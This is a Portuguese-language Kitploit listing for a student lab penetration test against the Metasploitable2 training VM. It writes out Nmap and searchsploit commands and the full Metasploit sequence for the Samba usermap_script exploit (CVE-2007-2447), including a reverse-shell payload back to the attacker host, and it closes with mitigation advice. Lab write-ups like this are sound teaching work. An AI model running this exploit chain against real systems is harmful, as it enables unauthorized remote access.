Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Penetration-Testing-on-Metasploitable2 — Projeto prático de pentest usando Kali Linux contra o Metasploitable2. Inclui fluxo de trabalho completo: varredura com Nmap, enumeração, exploração com Metasploit (Samba CVE-2007-2447), validação pós-exploração e etapas de mitigação. O repositório contém comandos, saídas e relatório mostrando tanto técnicas ofensivas quanto recomendações defensivas. | Kitploit
Ferramentas/GitHubGitHub/seifeldienahmad/penetration-testing-on-metasploitable2
ReconhecimentoScanners de VulnerabilidadesMapeamento de RedeAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubseifeldienahmad/penetration-testing-on-metasploitable2

Penetration-Testing-on-Metasploitable2

Ver RepositórioSite
119há 1 anoAinda não revisado

Sobre

Projeto prático de pentest usando Kali Linux contra o Metasploitable2. Inclui fluxo de trabalho completo: varredura com Nmap, enumeração, exploração com Metasploit (Samba CVE-2007-2447), validação pós-exploração e etapas de mitigação. O repositório contém comandos, saídas e relatório mostrando tanto técnicas ofensivas quanto recomendações defensivas.

Compartilhar

Projeto de Estágio 2 — Teste de Penetração no Metasploitable2

  • Resumo: Este projeto demonstra um fluxo de trabalho completo de teste de penetração: reconhecimento, enumeração, exploração, validação pós-exploração e recomendações de mitigação. O alvo utilizado é o Metasploitable2 e a máquina de ataque é o Kali Linux.

  • Ferramentas: Kali Linux (atacante) Nmap (reconhecimento) Metasploit Framework (exploração) SearchSploit / Exploit-DB (triagem)

Passos executados:

  1. Varredura: sudo nmap -sS -sV -p- -T4 --open -oA scans/target 192.168.x.x Serviços identificados (exemplos): vsftpd 2.3.4 (banner na porta 21), Samba smbd 3.x (porta 445).
  2. Enumeração e Triagem: searchsploit --nmap scans/target.xml searchsploit samba 3.0.20 Serviços associados a possíveis exploits (backdoor do vsftpd, username-map do Samba).
  3. Exploração
  • Backdoor do vsftpd (CVE-2011-2523) tentado — banner do Nmap presente, mas serviço sem resposta; o exploit não criou uma sessão.
  • Samba (CVE-2007-2447) explorado com sucesso: msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.x.x set payload cmd/unix/reverse set LHOST <kali-ip> set LPORT 4444 exploit Obteve shell interativa e validou o contexto do usuário.
  1. Pós-Exploração
  • Verificou as informações do sistema: id uname -a
  • Coletou evidências e capturas de tela.
  1. Recomendações de Mitigação
  • Varredura regular e inventário de ativos.
  • Aplicação imediata de patches e atualizações de versão (atualizar o Samba).
  • Restringir o acesso a portas críticas (regras de firewall).
  • Desabilitar serviços não utilizados e acesso anônimo.
  • Aplicar privilégio mínimo a compartilhamentos e contas.
  • Segmentação de rede e registro/monitoramento.
  • Planejamento de resposta a incidentes.

Resultado Foi obtido com sucesso um shell remoto por meio de um exploit do Samba, o caminho do ataque foi documentado e um plano de mitigação foi produzido. Logs completos e saídas de comandos estão armazenados na pasta scans/.

Baixar ferramenta